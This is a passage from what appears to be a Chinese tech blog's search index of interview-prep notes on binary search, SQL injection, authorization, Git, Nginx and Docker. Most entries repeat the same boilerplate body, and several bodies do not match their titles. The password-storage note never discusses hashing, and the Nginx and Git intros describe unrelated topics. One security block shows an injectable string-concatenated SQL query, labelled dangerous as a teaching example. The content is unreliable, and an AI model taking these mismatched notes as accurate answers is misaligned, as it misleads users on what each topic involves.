class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="验证边界"><a href="#验证边界" class="headerlink" title="验证边界"></a>验证边界</h2><p>至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 算法 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：二分查找为什么容易写错</title>
      <link href="//er-fen-cha-zhao-wei-shi-me-rong-yi-xie-cuo/"/>
      <url>//er-fen-cha-zhao-wei-shi-me-rong-yi-xie-cuo/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：二分查找为什么容易写错"><a href="#面试：二分查找为什么容易写错" class="headerlink" title="面试：二分查找为什么容易写错"></a>面试：二分查找为什么容易写错</h1><p>二分查找看似简单，实际写起来却很容易出错。本文讲它的常见变体和注意事项。</p><h2 id="先写清楚输入和输出"><a href="#先写清楚输入和输出" class="headerlink" title="先写清楚输入和输出"></a>先写清楚输入和输出</h2><p>算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。</p><p>以二分查找为例：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">binarySearch</span><span class="params">(<span class="type">int</span>[] nums, <span class="type">int</span> target)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> <span class="number">0</span>, right = nums.length - <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">while</span> (left &lt;= right) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> left + (right - left) / <span class="number">2</span>;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] == target) <span class="keyword">return</span> mid;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] &lt; target) left = mid + <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">else</span> right = mid - <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> -<span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="验证边界"><a href="#验证边界" class="headerlink" title="验证边界"></a>验证边界</h2><p>至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 算法 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：密码存储为什么不能明文</title>
      <link href="//mi-ma-cun-chu-wei-shi-me-bu-neng-ming-wen/"/>
      <url>//mi-ma-cun-chu-wei-shi-me-bu-neng-ming-wen/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：密码存储为什么不能明文"><a href="#面试：密码存储为什么不能明文" class="headerlink" title="面试：密码存储为什么不能明文"></a>面试：密码存储为什么不能明文</h1><p>密码为什么不能明文存储，这是一个基础但容易被忽视的问题。本文讲正确的做法。</p><h2 id="安全问题要默认不信任输入"><a href="#安全问题要默认不信任输入" class="headerlink" title="安全问题要默认不信任输入"></a>安全问题要默认不信任输入</h2><p>无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。</p><h2 id="SQL-注入的例子"><a href="#SQL-注入的例子" class="headerlink" title="SQL 注入的例子"></a>SQL 注入的例子</h2><p>危险写法：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">sql</span> <span class="operator">=</span> <span class="string">&quot;select * from user where name = &#x27;&quot;</span> + name + <span class="string">&quot;&#x27;&quot;</span>;</span><br></pre></td></tr></table></figure><p>推荐使用预编译参数：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> name <span class="operator">=</span> ?;</span><br></pre></td></tr></table></figure><p>在 MyBatis 中优先使用 <code>#{name}</code>，不要用 <code>${name}</code> 拼接用户输入。</p><h2 id="权限校验"><a href="#权限校验" class="headerlink" title="权限校验"></a>权限校验</h2><p>登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。</p>]]></content>
      
      
      <categories>
          
          <category> 安全 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 安全 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：接口鉴权和权限校验的区别</title>
      <link href="//jie-kou-jian-quan-he-quan-xian-xiao-yan-de-qu-bie/"/>
      <url>//jie-kou-jian-quan-he-quan-xian-xiao-yan-de-qu-bie/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：接口鉴权和权限校验的区别"><a href="#面试：接口鉴权和权限校验的区别" class="headerlink" title="面试：接口鉴权和权限校验的区别"></a>面试：接口鉴权和权限校验的区别</h1><p>接口鉴权和权限校验是两个不同层次的概念。本文讲它们的区别和实现方式。</p><h2 id="安全问题要默认不信任输入"><a href="#安全问题要默认不信任输入" class="headerlink" title="安全问题要默认不信任输入"></a>安全问题要默认不信任输入</h2><p>无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。</p><h2 id="SQL-注入的例子"><a href="#SQL-注入的例子" class="headerlink" title="SQL 注入的例子"></a>SQL 注入的例子</h2><p>危险写法：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">sql</span> <span class="operator">=</span> <span class="string">&quot;select * from user where name = &#x27;&quot;</span> + name + <span class="string">&quot;&#x27;&quot;</span>;</span><br></pre></td></tr></table></figure><p>推荐使用预编译参数：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> name <span class="operator">=</span> ?;</span><br></pre></td></tr></table></figure><p>在 MyBatis 中优先使用 <code>#{name}</code>，不要用 <code>${name}</code> 拼接用户输入。</p><h2 id="权限校验"><a href="#权限校验" class="headerlink" title="权限校验"></a>权限校验</h2><p>登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。</p>]]></content>
      
      
      <categories>
          
          <category> 安全 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 安全 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：SQL 注入原理和防护方法</title>
      <link href="//sql-zhu-ru-yuan-li-he-fang-hu-fang-fa/"/>
      <url>//sql-zhu-ru-yuan-li-he-fang-hu-fang-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：SQL-注入原理和防护方法"><a href="#面试：SQL-注入原理和防护方法" class="headerlink" title="面试：SQL 注入原理和防护方法"></a>面试：SQL 注入原理和防护方法</h1><p>面试：SQL 注入原理和防护方法是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。</p><h2 id="安全问题要默认不信任输入"><a href="#安全问题要默认不信任输入" class="headerlink" title="安全问题要默认不信任输入"></a>安全问题要默认不信任输入</h2><p>无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。</p><h2 id="SQL-注入的例子"><a href="#SQL-注入的例子" class="headerlink" title="SQL 注入的例子"></a>SQL 注入的例子</h2><p>危险写法：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">sql</span> <span class="operator">=</span> <span class="string">&quot;select * from user where name = &#x27;&quot;</span> + name + <span class="string">&quot;&#x27;&quot;</span>;</span><br></pre></td></tr></table></figure><p>推荐使用预编译参数：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> name <span class="operator">=</span> ?;</span><br></pre></td></tr></table></figure><p>在 MyBatis 中优先使用 <code>#{name}</code>，不要用 <code>${name}</code> 拼接用户输入。</p><h2 id="权限校验"><a href="#权限校验" class="headerlink" title="权限校验"></a>权限校验</h2><p>登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。</p>]]></content>
      
      
      <categories>
          
          <category> 安全 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 安全 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：Git 冲突解决的正确顺序</title>
      <link href="//git-chong-tu-jie-jue-de-zheng-que-shun-xu/"/>
      <url>//git-chong-tu-jie-jue-de-zheng-que-shun-xu/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：Git-冲突解决的正确顺序"><a href="#面试：Git-冲突解决的正确顺序" class="headerlink" title="面试：Git 冲突解决的正确顺序"></a>面试：Git 冲突解决的正确顺序</h1><p>Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。</p><h2 id="提交前先看清楚改动"><a href="#提交前先看清楚改动" class="headerlink" title="提交前先看清楚改动"></a>提交前先看清楚改动</h2><p>Git 最重要的习惯是提交前看 diff：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git status</span><br><span class="line">git diff</span><br><span class="line">git diff --cached</span><br></pre></td></tr></table></figure><p>确认没有调试代码、临时文件、无关格式化，再提交。</p><h2 id="推荐的小步提交"><a href="#推荐的小步提交" class="headerlink" title="推荐的小步提交"></a>推荐的小步提交</h2><p>一次提交只做一件事，例如：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git add src/main/java/com/example/UserService.java</span><br><span class="line">git commit -m <span class="string">&quot;fix: handle empty user result&quot;</span></span><br></pre></td></tr></table></figure><p>如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。</p><h2 id="冲突怎么处理"><a href="#冲突怎么处理" class="headerlink" title="冲突怎么处理"></a>冲突怎么处理</h2><p>遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。</p>]]></content>
      
      
      <categories>
          
          <category> Git </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Git </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：Git rebase 和 merge 怎么选</title>
      <link href="//git-rebase-he-merge-zen-me-xuan/"/>
      <url>//git-rebase-he-merge-zen-me-xuan/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：Git-rebase-和-merge-怎么选"><a href="#面试：Git-rebase-和-merge-怎么选" class="headerlink" title="面试：Git rebase 和 merge 怎么选"></a>面试：Git rebase 和 merge 怎么选</h1><p>Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。</p><h2 id="提交前先看清楚改动"><a href="#提交前先看清楚改动" class="headerlink" title="提交前先看清楚改动"></a>提交前先看清楚改动</h2><p>Git 最重要的习惯是提交前看 diff：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git status</span><br><span class="line">git diff</span><br><span class="line">git diff --cached</span><br></pre></td></tr></table></figure><p>确认没有调试代码、临时文件、无关格式化，再提交。</p><h2 id="推荐的小步提交"><a href="#推荐的小步提交" class="headerlink" title="推荐的小步提交"></a>推荐的小步提交</h2><p>一次提交只做一件事，例如：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git add src/main/java/com/example/UserService.java</span><br><span class="line">git commit -m <span class="string">&quot;fix: handle empty user result&quot;</span></span><br></pre></td></tr></table></figure><p>如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。</p><h2 id="冲突怎么处理"><a href="#冲突怎么处理" class="headerlink" title="冲突怎么处理"></a>冲突怎么处理</h2><p>遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。</p>]]></content>
      
      
      <categories>
          
          <category> Git </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Git </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：Git 提交前如何检查改动</title>
      <link href="//git-ti-jiao-qian-ru-he-jian-cha-gai-dong/"/>
      <url>//git-ti-jiao-qian-ru-he-jian-cha-gai-dong/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：Git-提交前如何检查改动"><a href="#面试：Git-提交前如何检查改动" class="headerlink" title="面试：Git 提交前如何检查改动"></a>面试：Git 提交前如何检查改动</h1><p>Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。</p><h2 id="提交前先看清楚改动"><a href="#提交前先看清楚改动" class="headerlink" title="提交前先看清楚改动"></a>提交前先看清楚改动</h2><p>Git 最重要的习惯是提交前看 diff：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git status</span><br><span class="line">git diff</span><br><span class="line">git diff --cached</span><br></pre></td></tr></table></figure><p>确认没有调试代码、临时文件、无关格式化，再提交。</p><h2 id="推荐的小步提交"><a href="#推荐的小步提交" class="headerlink" title="推荐的小步提交"></a>推荐的小步提交</h2><p>一次提交只做一件事，例如：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git add src/main/java/com/example/UserService.java</span><br><span class="line">git commit -m <span class="string">&quot;fix: handle empty user result&quot;</span></span><br></pre></td></tr></table></figure><p>如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。</p><h2 id="冲突怎么处理"><a href="#冲突怎么处理" class="headerlink" title="冲突怎么处理"></a>冲突怎么处理</h2><p>遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。</p>]]></content>
      
      
      <categories>
          
          <category> Git </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Git </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：Nginx 配置修改后的验证流程</title>
      <link href="//nginx-pei-zhi-xiu-gai-hou-de-yan-zheng-liu-cheng/"/>
      <url>//nginx-pei-zhi-xiu-gai-hou-de-yan-zheng-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：Nginx-配置修改后的验证流程"><a href="#面试：Nginx-配置修改后的验证流程" class="headerlink" title="面试：Nginx 配置修改后的验证流程"></a>面试：Nginx 配置修改后的验证流程</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Nginx </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> Nginx </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：Nginx 静态资源缓存配置</title>
      <link href="//nginx-jing-tai-zi-yuan-huan-cun-pei-zhi/"/>
      <url>//nginx-jing-tai-zi-yuan-huan-cun-pei-zhi/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：Nginx-静态资源缓存配置"><a href="#面试：Nginx-静态资源缓存配置" class="headerlink" title="面试：Nginx 静态资源缓存配置"></a>面试：Nginx 静态资源缓存配置</h1><p>缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Nginx </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> Nginx </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：Nginx 反向代理配置入门</title>
      <link href="//nginx-fan-xiang-dai-li-pei-zhi-ru-men/"/>
      <url>//nginx-fan-xiang-dai-li-pei-zhi-ru-men/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：Nginx-反向代理配置入门"><a href="#面试：Nginx-反向代理配置入门" class="headerlink" title="面试：Nginx 反向代理配置入门"></a>面试：Nginx 反向代理配置入门</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Nginx </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> Nginx </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：容器健康检查为什么重要</title>
      <link href="//rong-qi-jian-kang-jian-cha-wei-shi-me-chong-yao/"/>
      <url>//rong-qi-jian-kang-jian-cha-wei-shi-me-chong-yao/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：容器健康检查为什么重要"><a href="#面试：容器健康检查为什么重要" class="headerlink" title="面试：容器健康检查为什么重要"></a>面试：容器健康检查为什么重要</h1><p>容器健康检查是保证服务稳定的重要一环。本文讲为什么重要以及如何做。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Docker </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> docker </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：docker compose 部署单机服务</title>
      <link href="//docker-compose-bu-shu-dan-ji-fu-wu/"/>
      <url>//docker-compose-bu-shu-dan-ji-fu-wu/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：docker-compose-部署单机服务"><a href="#面试：docker-compose-部署单机服务" class="headerlink" title="面试：docker compose 部署单机服务"></a>面试：docker compose 部署单机服务</h1><p>Dockerfile 的分层缓存和镜像优化是部署时最容易忽略的。本文讲一些实用技巧。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Docker </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> docker </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：Docker 容器日志和数据卷实践</title>
      <link href="//docker-rong-qi-ri-zhi-he-shu-ju-juan-shi-jian/"/>
      <url>//docker-rong-qi-ri-zhi-he-shu-ju-juan-shi-jian/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：Docker-容器日志和数据卷实践"><a href="#面试：Docker-容器日志和数据卷实践" class="headerlink" title="面试：Docker 容器日志和数据卷实践"></a>面试：Docker 容器日志和数据卷实践</h1><p>日志是线上排查的生命线。本文讲 Spring Boot 中日志配置、分级输出和排查技巧。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Docker </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> docker </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：Dockerfile 分层缓存和镜像优化</title>
      <link href="//dockerfile-fen-ceng-huan-cun-he-jing-xiang-you-hua/"/>
      <url>//dockerfile-fen-ceng-huan-cun-he-jing-xiang-you-hua/</url>
      
